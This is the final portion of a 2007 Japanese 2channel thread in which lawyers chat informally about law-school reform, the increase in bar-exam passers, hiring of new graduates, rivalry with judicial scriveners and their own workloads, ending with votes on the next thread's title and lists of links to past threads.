905 :無責任な名無しさん:2007/01/09(火) 21:01:14 ID:a3jD3wGq
廃止しないで侵食食い尽くしで廃業に追い込む方が早い
司法書士も食える
司法書士には採算が悪い小額訴訟専門へ

906 :無責任な名無しさん:2007/01/09(火) 21:01:46 ID:rAm0xSBk
ロー卒の中でも新60期(合格率約半分)とそれ以外を分けてやるべき。



907 :無責任な名無しさん:2007/01/09(火) 21:05:42 ID:a3jD3wGq
>>906
旧司法試験の受験暦を条件なら同意です。

908 :無責任な名無しさん:2007/01/09(火) 21:10:34 ID:eW736VBv
埼玉で,弁護士が登記をしたら司法書士会との間でトラブって訴訟になったことがあったが,問題なくできるということで最高裁まで判決が出ている。
登記事務は事務員たくさん使ってできるから割がいいかもね。


909 :無責任な名無しさん:2007/01/09(火) 21:11:51 ID:/fPGjeXH
>>908
準備書面の文言が場外乱闘を産んだあの事件ですねw

910 :無責任な名無しさん:2007/01/09(火) 21:19:51 ID:a3jD3wGq
>>909
ときには本音を準備書面で書かない方がいいこともw

911 :MS754 ◆yGUnQdhyV2 :2007/01/09(火) 21:20:28 ID:SV6aOXZo
ということで、やっとアク禁が解除されたようです。
次スレのスレタイをお願いします。

>>909
あの先生は、その後も、いろいろとありました・・・・・・・。

912 :無責任な名無しさん:2007/01/09(火) 21:22:25 ID:Vtsl3ngk
>>909
何を書いたの?

913 :MS754 ◆yGUnQdhyV2 :2007/01/09(火) 21:43:33 ID:SV6aOXZo
>>912
名誉毀損になるのでここでは書くのは憚れるようなことです。司法書士を
誹謗中傷することになりかねないと。

914 :無責任な名無しさん:2007/01/09(火) 22:18:14 ID:eW736VBv
>>912
判例ソフトで検索するとすぐに出てくるよ。
「弁護士法」「司法書士」「名誉毀損」

915 :無責任な名無しさん:2007/01/09(火) 22:19:19 ID:eW736VBv
【正月ボケ】弁護士本音talkスレPart29【治らず】

916 :無責任な名無しさん:2007/01/09(火) 22:47:15 ID:iDiNjTMR
 今、法科大学院が動き出し、まさに軌道に乗ろうとしています。しかし、私の回りで手放しでよろこんでいる人はほとんどいないといってよいでしょう。というかほとんど全員が不満を持っています。積極派も消極派も。

 制度の変動期に不満はつきものですが、今回のそれは異常です。社会の変化のニーズにあったものであれば、切り捨てられる「現状維持の利益」を上回るメリットが次第に認識されて、制度は定着していくものです。

 しかし、法科大学院の場合、期待されるメリットの具体的イメージがあまりにも希薄なのです。逆に、積極的にデメリットを生む危険も多いように思われます。
法科大学院を導入することによって達成される年3000人の法曹の生産は、日本社会にとってお荷物となる可能性が高いようにも思われるのです。

      受験新報 2004年7月号 巻頭言   前田雅英




あれから2年半、、、


917 :無責任な名無しさん:2007/01/10(水) 00:33:22 ID:f9FfNpzv
お荷物、ってのは疑いようの無い冷厳なる事実。

918 :名無しさん@恐縮です:2007/01/10(水) 00:55:13 ID:lDEF9snv
さすが前田先生。
大学者がこぞってローを礼賛している最中に
こんな見通しをズバッというとは・・・

919 :無責任な名無しさん:2007/01/10(水) 03:35:37 ID:3fZIEuX+
ここでロー制度を叩いている人が多いが、58期、59期あたりの弁護士にも
たいがいなのが居ると思うが・・・。(正直、教育の手にあまる新人が入ってくる
ことが・・・)

あと、過去の弁護士が手放しで良かったか、というと、利用者側からはそうは
思われていないから、弁護士増員がとおったのではないか、という点は自戒した
ほうが良いと思われ。

なお、ここで利用者側からの批判のためにとおった、というと、主として経済界が
イメージされるだろうけど、一般人からも敷居が高いとか、アクセスが悪いとか、
高い、報酬が予測できない、といった批判は全てが正しいかどうかはともかく
よくあったと思われ、そういうこともあり、制度改正がとおった、という側面は
あると思われ。

まぁ、ロー制度については私もどうなるのか不安ではあるが・・・

920 :無責任な名無しさん:2007/01/10(水) 03:50:35 ID:mebwQKZb
ロー生の出来の悪さは想像以上
まあ,地方ローの実態しか見たことがないので,
全国的な傾向であるかは分からないが。

921 :行き詰まり弁護士 ◆BAKA/8y6zk :2007/01/10(水) 04:05:27 ID:n97yyYQ/
>>911 MS754先生
もしかして先生もASAHI−NETですか?

それはそれとして次スレですが,無難に
【今冬は】【暖冬】
でいかがでしょうか。

922 :無責任な名無しさん:2007/01/10(水) 04:56:59 ID:6eHUMek3
私は上位ローに在学しつつ昨年の旧司法試験(61期)に合格したものですが、
少なくとも私の行っていたローの学生はそれほどバカではないと思います。
私の成績も真中くらいでしたし。
旧試験で惜しいところまで行った人より、新卒の子の方が優秀な感じでした。
まあ、実際に論文試験を受けさせたらどうなのかはわかりませんが。

新試合格者が玉石混交なのは紛れもない事実なので、小規模事務所
の先生方がリスク回避のために新試組の採用を控えるという気持ちはよく分かります。

しかし、出身ロー、出身大学、ローでの成績、新司法試験の順位、面接での軽い法律談義
この程度の項目をチェックすれば優秀なロー生は選別できると思います。
ですので、ロー生にもチャンスを与えてくだされば、と思います。
私自身は大手のソルジャーが決定してるので利害は絡まないのですが・・・・

非弁のカキコ失礼しました。


923 :無責任な名無しさん:2007/01/10(水) 05:02:13 ID:6eHUMek3
ちなみにKOです。

924 :無責任な名無しさん:2007/01/10(水) 06:43:04 ID:IL/5mm4h
今後は学歴がものをいう一般の就職と変わらなくなるんだろうな

925 :無責任な名無しさん:2007/01/10(水) 09:07:05 ID:dXOQ/OjR
>>903
むしろ、行政書士、司法書士による職域浸食が目立って多く、それに対して何もしない無能かつやる気のない阿呆弁連。

926 :無責任な名無しさん:2007/01/10(水) 09:15:17 ID:mPuQ9Se+
>>922
優秀な人はいると思うよ。
磨けば光るという意味では。
ただ、旧試験と比べて勉強の絶対量が少ないのではないかな。

927 :無責任な名無しさん:2007/01/10(水) 09:55:34 ID:KWDQhHgG
まあ、旧試験組もあまり胸をはれたものではなかったりするけどな。
訴訟法を片方しかやらずに受験したグループとか、商法総則・商行為をほとんど勉強しなかったグループとか、
もっと年配には商法やらずに合格したグループとかあるわけで。

928 :無責任な名無しさん:2007/01/10(水) 10:02:38 ID:X6dQNXlV
>>919
ピンポイントで反論すると,人数が増えても市民の実質的アクセスが良くなるかどうかは疑問だ。
人数が増えたとしても食えない弁護士が増えただけでは,金にならない事件は受けてもらえない。
むしろ,これまでボランティア的に受けていた事件も,受任されなくなる可能性もある。
アクセスだけはできても受任されないことになるか,勝ち目のない事件を受任されて着手金泥棒されるか,ということになるのではないか。

929 :無責任な名無しさん:2007/01/10(水) 10:05:50 ID:U6i9RTrV
そうは言っても
新弁護士の能力の問題は今までとは次元を異にするレベルだ。

930 :無責任な名無しさん:2007/01/10(水) 10:07:52 ID:X6dQNXlV
>>922
残念ながら,ローでの成績と,試験の合格確率とは,比例的な相関関係がみられない。
ローで教えてみれば如実にわかるし,既習1期の結果をみてもそう。
あなたも身をもって証明している。

ただし,適性試験の成績は重要ではないかと思う。
ああいう事務処理をてきぱきと効率よくできる能力というのは,後から鍛えるのは難しいが,弁護士としては重要な能力だ。
兵 隊 と し て 弁 護 士 を 採 用 す る と き は 特 に 。



931 :無責任な名無しさん:2007/01/10(水) 10:11:41 ID:IRp/TJip
>>922
弁護士はあくまでも専門職です。一般の企業就職ならポテンシャルを重視して新卒を
採用して入社してから鍛えるというのもあるのかもしれないが、弁護士特に中小の事務
所ではいちいち一から手取り足取り教えるのは困難です。
だから薄っぺらい知識の若手が必ずしも現場で使えるわけではないよ。(若手がみんな
使えないという意味じゃないよ、念のため)

渉外はちょっと事情が違うと思うが中小の一般の事務所の場合、基礎力がある程度
完成された非若年合格者の方が即戦力になることが多い。(あくまで一般論ですよ)
私の経験だと研修所でも優秀な人は若年合格者より20台後半ぐらいで受かった人に
多かったと記憶している。若年合格者はポテンシャルはあるのだろうが中には知識ぺ
らぺらで本当に合格したのか?と疑問に思うような人もいた。(もちろんこいつは本当
にキレると誰もが認める若年合格者もいた)

何を言いたいのかというと要するに、いくらポテンシャルがあっても基礎力の無い人は
いらないということです。採用側が旧試験合格者の方を採りたがるのも旧試験合格者
なら基礎力はあるだろうと思っているから。磨けば光る(かもしれない)人材より、すでに
ある程度磨かれて光っている人材が欲しいし、それを養成するのがロースクールの役割
でしょう。基礎力が有ることが大前提でポテンシャルはその次。ポテンシャルだけで採用
する民間企業の総合職とはここが違う。

逆に上記の点が備わっていれば出身校やロースクールの成績は特に問いません、少なく
とも私は。あとは人間関係やウマが合うかを重視します。


932 :無責任な名無しさん:2007/01/10(水) 10:24:12 ID:3bSwaQT3
弁護士がいないから頼めないのではなくて,カネを払うのを嫌がるから頼まないだけの話

933 :無責任な名無しさん:2007/01/10(水) 10:24:18 ID:U6i9RTrV
>>922
> 旧試験で惜しいところまで行った人より、新卒の子の方が優秀な感じでした。
> まあ、実際に論文試験を受けさせたらどうなのかはわかりませんが。


そうかなぁ?

成績については、新卒の方が課題も真面目にやるし授業での発言も積極的にするから
良くなるだろうけど。

あと、表面的な印象については、旧試験で挫折してきた人は謙虚(卑屈?)になっているので
自分が優秀だと思ってなくて自信満々にしゃべったりしないのに対して、
新卒の子は挫折を知らないのでまだエリート意識を持っていて自信満々な態度を取る、
ってのが大きい。

優秀な感じ、ってのはそういう印象のことでしょ?

934 :無責任な名無しさん:2007/01/10(水) 10:30:37 ID:rJHmO+Xv
>>922
ロー卒については10年後くらい経って評価がある程度固まってから考える。
今は様子見。
試しに採用してみるほど体力のある事務所ではないので勘弁してくれ。

935 :無責任な名無しさん:2007/01/10(水) 10:34:23 ID:X6dQNXlV
>>931
あと,それなりに世の中の辛酸を舐めてきた人のほうがいい(使える・人間関係がうまくいく・仕事上もうまくいく)
という価値判断もあるよね。

936 :無責任な名無しさん:2007/01/10(水) 10:37:25 ID:X6dQNXlV
20年選手は別として,5年10年の受験生活を送ってきた人のほうが,関わってみて人間性に深みがある。
年とってるから当たり前だけど。

937 :無責任な名無しさん:2007/01/10(水) 10:42:20 ID:IRp/TJip
あと、私はロースクールに通ったことも教えたこともないのではっきりしたことは言えないが、
大学の成績って評価基準の客観性が担保されてないでしょう。その担当教授の学説で書けば
いい点がつくとか、判例実務の立場で書くといい点がつかないとか、採用する学説に点数が左
右されているのではないかという経験は日常茶飯事でした。だから司法試験の勉強をしている
人が必ずしも大学でいい成績をとっているわけではなかったですよ。
まあ、私も含め司法試験受験生の大半は大学の講義なんか出ていませんでしたけどね。
ロースクールではそのあたりは克服されているんでしょうか。
評価基準の客観性という点では司法試験の成績の方が当てになるかもしれませんね。

938 :無責任な名無しさん:2007/01/10(水) 10:47:51 ID:nUon5+oh
>>933
教授に気に入られるような振る舞いと実力とは正比例しない
予備校が流行ったのもそのへん

939 :無責任な名無しさん:2007/01/10(水) 10:48:34 ID:nUon5+oh
鬱の症状なのか

940 :無責任な名無しさん:2007/01/10(水) 12:50:15 ID:jvTUCOtg
 負け筋と思っている事件の準備のタイムリミットが迫りつつある。
 急に体がだるくなり、眠気も襲ってきて、帰りたくなってきた。
 ま、今日は早く帰って、明日からやろう(でも、結局土日まで引っ張るだろうな・・・。)。

941 :無責任な名無しさん:2007/01/10(水) 13:07:07 ID:mPuQ9Se+
>>940
俺が書き込もうと思っていたのに・・。

942 :無責任な名無しさん:2007/01/10(水) 13:07:52 ID:mPuQ9Se+
ところで、訴状に住宅地図を添付することは、著作権の
関係で問題ありますか?

943 :無責任な名無しさん:2007/01/10(水) 13:13:11 ID:rJHmO+Xv
>>942
つ【著作権法42条】

944 :無責任な名無しさん:2007/01/10(水) 13:19:51 ID:mPuQ9Se+
>>943
ありがとうございます。
勉強になりました。


945 :無責任な名無しさん:2007/01/10(水) 13:21:35 ID:rJHmO+Xv
>>944
弁護士なんだから自分で条文引けよ。

946 :無責任な名無しさん:2007/01/10(水) 13:53:23 ID:Qtx0gIqD
>>931
自分がイソ弁、軒弁と一緒に仕事することを考えたことがなかったので
具体的にイメージできなかったが、言われてなるほどと思ったわ。
終身雇用の会社(これも古いイメージだが)じゃないんだから、ポテンシャル
に期待して採用なんて、街弁じゃありえないな。どうせ2〜5年で独立してい
くんだと考えれば即戦力重視になるのは当然。

947 :940:2007/01/10(水) 16:07:20 ID:jvTUCOtg
 負け筋と思っている事件に手をつけたくないものだから、他の事件の細かい作業をやっていった。
でも、細かい作業は全部終わった。さて、何をしよう。

948 :無責任な名無しさん:2007/01/10(水) 16:10:35 ID:mv2NRT4R
とりあえず床屋に行くのはどうか

949 :無責任な名無しさん:2007/01/10(水) 16:48:26 ID:3bSwaQT3
【どうする?】      【弁護士増員】

950 :無責任な名無しさん:2007/01/10(水) 16:49:27 ID:3bSwaQT3
949の訂正

【どうなる?】    【弁護士増員】

951 :940:2007/01/10(水) 17:30:11 ID:jvTUCOtg
 床屋にも行かず、悶々としながら小一時間過ごしてしまった・・・。依頼者も全額払う覚悟を決めているので、あとは和解を切り出すタイミングなのだけどなぁ。にもかかわらず、現時点では無理からな主張をしてでもやらなければならないので余計につらい。
もうじき本日最後の打ち合わせだ。終わったらとっとと帰ろう。

952 :無責任な名無しさん:2007/01/10(水) 17:33:56 ID:O+lWjji3
司法書士は下劣、下等な職能集団

と、書いたんだよね
まあその弁は別件で逮捕されたけど

953 :無責任な名無しさん:2007/01/10(水) 17:47:21 ID:sSlmtlRO
執行猶予つき有罪判決だったよね。
控訴したの?

954 :無責任な名無しさん:2007/01/10(水) 18:27:21 ID:GYJ/nVJR
波瀾万丈の人生ですねぇ。

955 :無責任な名無しさん:2007/01/10(水) 19:05:12 ID:i4dZ9wEk
これわかる人教えて下さい・・・

あなたは仕事の改善プロジェクトのリーダーに指名された。
業務の抜本改善(リエンジイアリング)を実現するために、
あなたが留意すべきことか何か?

956 :無責任な名無しさん:2007/01/10(水) 19:37:52 ID:IZ5P3DZQ
>>955
ただちに求職活動を行うこと
これは呈のいいリストラだから

957 :無責任な名無しさん:2007/01/10(水) 20:35:56 ID:sKXMC+AF
日弁連は,平成12年宣言で「法曹一元」といって弁護士の地位の向上を
考えたようだが,法曹人口の増大はそのまま弁護士人口の増大にリンクするだけなので
「弁護士」は,「裁判官」「検察官」に比べても大幅にその地位を下げてしまった
(弁護士=誰でもなれる=アホの象徴)。

裁判所,検察庁は,ちゃんと二回試験を合格しても,また別個に任官試験(面接)を
行って自己防衛を図りうるが,弁護士会はそのままポ〜ッと見ているだけ。
法曹人口の増大にしても「決まってしまったことは仕方がない」と言って
そのままポ〜ッと笑って見ているだけ。

958 :無責任な名無しさん:2007/01/10(水) 20:41:17 ID:7I6mZ2sk
弁護士自治をフル活用すべきなんだよ。ダメなヤツはガンガン懲戒したらいいんだ。
非弁提携とか横領の類は一発で退会させるべきなんだよ。

959 :無責任な名無しさん:2007/01/10(水) 20:54:32 ID:60EXiON6
>>958
それグッドアイデア
飲酒運転したら退会命令とか

960 :無責任な名無しさん:2007/01/10(水) 22:10:13 ID:dXOQ/OjR
他の方にも来た話だろうが、非常勤裁判官の誘いが会から、あったが、余りの安さにというか、それでは事務所維持は不可能で、首つりものなので断った。
官が考えている法曹一元なんてそんなものだ。アリバイ、作りということだ

961 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 22:25:01 ID:ALT48CNG
次スレのテンプレなど

前スレ↓
【今年の仕事】弁護士本音talkスレPart28【来年回し】
http://school5.2ch.net/test/read.cgi/shikaku/1165413773/
注意書き,リンク集などは>>2-10あたりに・・・




962 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 22:28:08 ID:ALT48CNG
○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。
やさしい法律相談part200
http://school5.2ch.net/test/read.cgi/shikaku/1167976456/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。


963 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 22:29:37 ID:ALT48CNG
過去スレその1
弁護士本音talkスレッド
http://school.2ch.net/test/read.cgi/shikaku/998739465/
http://yasai.2ch.net/shikaku/kako/998/998739465.html
【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/
【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611
【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/

964 :無責任な名無しさん:2007/01/10(水) 22:33:00 ID:b/WURV/q
>>960
同期の裁判官より安いんですか?同程度もらえると聞きましたが・・・

965 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 22:33:42 ID:ALT48CNG
過去スレその2
【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/
【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/
【お盆中も】弁護士本音talkスレPart24【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1153918884/
【貸金業法】弁護士本音25【改正or改悪?】
http://school5.2ch.net/test/read.cgi/shikaku/1157338815/
【秋の夜長】弁護士本音talkスレPart26【今夜も起案】
http://school5.2ch.net/test/read.cgi/shikaku/1159283071/
【WELCOME】弁護士本音talkスレPart27【59期】
http://school5.2ch.net/test/read.cgi/shikaku/1162302786/
【今年の仕事】弁護士本音talkスレPart28【来年回し】
http://school5.2ch.net/test/read.cgi/shikaku/1165413773/


966 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 22:40:16 ID:ALT48CNG
関連スレ
■裁判官の部屋 その3■
http://school5.2ch.net/test/read.cgi/shikaku/1137575282/
【温かさ】検事になりたいんですがその16【失わず】
http://school5.2ch.net/test/read.cgi/shihou/1165876577/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/
裁判所書記官だけでマターリしようよvol.2
http://society3.2ch.net/test/read.cgi/koumu/1158853496/
裁判所事務官は力持ちvol.2
http://society3.2ch.net/test/read.cgi/koumu/1158565808/

事務員さんスレがみあたりません。

967 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 22:41:46 ID:ALT48CNG
サイト集はそのままで・・・。

968 :960:2007/01/10(水) 22:45:02 ID:dXOQ/OjR
>>964
常勤の弁護士任官なら同期並です。非常勤の話です。
常勤は旧では、司試・研修所時代の成績優秀者一握りだけしか採用されない。
新司験なら、上位ロー出身者かつ上位合格者だけでしょうか。

969 :無責任な名無しさん:2007/01/10(水) 22:52:32 ID:u3Sta3E9
研修所の成績って!
あー絶対採用されないなー。

970 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 22:57:00 ID:ALT48CNG
スレタイ案
【どうなる?】弁護士本音talkスレPart29【弁護士増員】
【今冬は】弁護士本音talkスレPart29【暖冬】
【ローは】弁護士本音talkスレPart29【出たけれど】

971 :無責任な名無しさん:2007/01/10(水) 22:58:34 ID:3ga5wd+7
今までの教訓からすれば,季節ネタなどの無難なのが一番。
したがって,

【今冬は】弁護士本音talkスレPart29【暖冬】

に一票。

972 :無責任な名無しさん:2007/01/10(水) 23:04:32 ID:lSx0OFEk
そうだよね。抵当権を付けたまま不動産を売買してもよいし、別に問題なさそうなんだけれど。

973 :無責任な名無しさん:2007/01/10(水) 23:04:52 ID:U6i9RTrV

司法試験合格者増員に対する反対運動とか署名活動とか
誰もしないの?


974 :無責任な名無しさん:2007/01/10(水) 23:09:03 ID:lSx0OFEk
>>972は誤爆です。

975 :無責任な名無しさん:2007/01/10(水) 23:09:26 ID:YIH/WIey
>>971
そだね。
>>970 の上とか下とかにすると、先週末ぐらいからの話題ばっかりになっちゃう。

976 :無責任な名無しさん:2007/01/10(水) 23:16:02 ID:MBpe8zxB
>>973
やった方が良いと思う。それに加えて
(1)対岸の火事と考えている経済界には,濫訴の嵐
(2)国と裁判所にも,国賠,行政訴訟の嵐
(3)根拠無く合格者増員,ロー推進をしている学者(法曹無資格者),一部法曹には
   損害賠償請求の下準備
(4)富裕層であるロースクール在学生の親にも,将来,損害賠償請求訴訟の
   依頼者になってもらうための下準備
(5)マスコミ+ミニコミには事あるごとに合格者増員の不合理さをアピール
をしていくべきだと思う。

【司法崩壊】弁護士本音…【日本弁護士連合崩会】

977 :無責任な名無しさん:2007/01/10(水) 23:28:02 ID:60EXiON6
【今年の仕事】……【ノンキに行こう】

978 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 23:31:11 ID:ALT48CNG
【今冬は】弁護士本音talkスレPart29【暖冬】で、スレ立てをしようとしたのですが
規制にかかってしまいました。どなたか、よろしく願いします。

スレタイはお任せします。

979 :無責任な名無しさん:2007/01/10(水) 23:34:22 ID:CShPfk/L
【サメの話を】【しようぜ】

980 :無責任な名無しさん:2007/01/10(水) 23:35:17 ID:dXOQ/OjR
殺伐としたスレタイはやめて、やるなら勝手にやってもらって
【新春は】……【温泉で起案】
【新旧も】……【まとめて歓迎61期】
【今年の仕事】……【年度末】





981 :無責任な名無しさん:2007/01/10(水) 23:35:48 ID:mv2NRT4R
負け筋と思ってる刑事事件(国選)の準備のために遅くまで残って
準備しようとしてみたけど、はかどらないでネットばかり見てる。
もう疲れたから帰ろうかな。
被告人に言いたいことだけ言ってもらうか。

982 :無責任な名無しさん:2007/01/10(水) 23:37:56 ID:CShPfk/L
【否認でも】【1回結審】

983 :無責任な名無しさん:2007/01/10(水) 23:37:59 ID:b/WURV/q
>>976
国民にそっぽ向かれると思うけど。

984 :無責任な名無しさん:2007/01/10(水) 23:38:55 ID:CShPfk/L
>>983
別に最初からこっち向いてないし。

985 :無責任な名無しさん:2007/01/10(水) 23:40:05 ID:UvFzlOPE
>>973
>>976

正面から増員反対を言わなくても、ただ単に

 「増員のおかげで弁護士になっても就職できない人が続出」

ってことを、事あるごとにアピールすればいいだけだよ。

ローに来たがる人間に水をさせばいい。


986 :無責任な名無しさん:2007/01/10(水) 23:42:28 ID:dXOQ/OjR
【国民が】【何て言おうが社会正義】


987 :無責任な名無しさん:2007/01/10(水) 23:45:16 ID:mv2NRT4R
【去年の仕事】【来年回し】

988 :MS754 ◆yGUnQdhyV2 :2007/01/10(水) 23:49:53 ID:ALT48CNG
どなたか、スレ立てを・・・・・。

989 :無責任な名無しさん:2007/01/10(水) 23:50:35 ID:rJHmO+Xv
>>987
ちょ、回しすぎww

990 :無責任な名無しさん:2007/01/11(木) 00:09:15 ID:GH74OY0x
次スレ。

【今冬は】弁護士本音talkスレPart29【暖冬】
http://school5.2ch.net/test/read.cgi/shikaku/1168441413/

991 :MS754 ◆yGUnQdhyV2 :2007/01/11(木) 00:10:26 ID:gcTiQLVb
スレ立て、ありがとうございました。

992 :無責任な名無しさん:2007/01/11(木) 00:32:03 ID:PjoiLEHu
【負け筋の仕事】【軒弁回し】

993 :無責任な名無しさん:2007/01/11(木) 00:48:01 ID:XWdOvEX+
>>985
ロー行きたがる人間に水さして
ロー受験者減らしても

新司法試験の合格者が減らなければ意味ないでしょ・・・


994 :行き詰まり弁護士 ◆BAKA/8y6zk :2007/01/11(木) 01:15:40 ID:jDmuj1Uw
>>990さん
スレ立て乙です。

995 :無責任な名無しさん:2007/01/11(木) 01:48:58 ID:ui5E9FW/
思うのだが、弁護士会に対する不満は別スレを立ててそこでやることにして、
ここは純粋に弁護士の親睦サロンとしてはどうだろうか?
そのほうがスレの雰囲気が和むと思うのだが・・・

996 :無責任な名無しさん:2007/01/11(木) 02:19:33 ID:Xa3iTtAr
たぶん何も変わらないに1票

997 :無責任な名無しさん:2007/01/11(木) 04:27:22 ID:BJ+ch45z
>>976
>(1)対岸の火事と考えている経済界には,濫訴の嵐

あんまり良くないな。
訴訟費用負担の問題があるので。

998 :無責任な名無しさん:2007/01/11(木) 04:39:26 ID:jDmuj1Uw
梅縦

999 :無責任な名無しさん:2007/01/11(木) 05:00:44 ID:yDFICRvb
>>995 ここは純粋に弁護士の親睦サロンとしてはどうだろうか?

まったく賛同なんですが、実現はムリだと思います。
昨年あたりから、このスレへのカキコの内容、雰囲気等が、
がらりと変化したから。

1000 :行き詰まり弁護士 ◆BAKA/8y6zk :2007/01/11(木) 05:24:28 ID:jDmuj1Uw
1000ゲッツ

【次スレ】
http://school5.2ch.net/test/read.cgi/shikaku/1168441413/l50

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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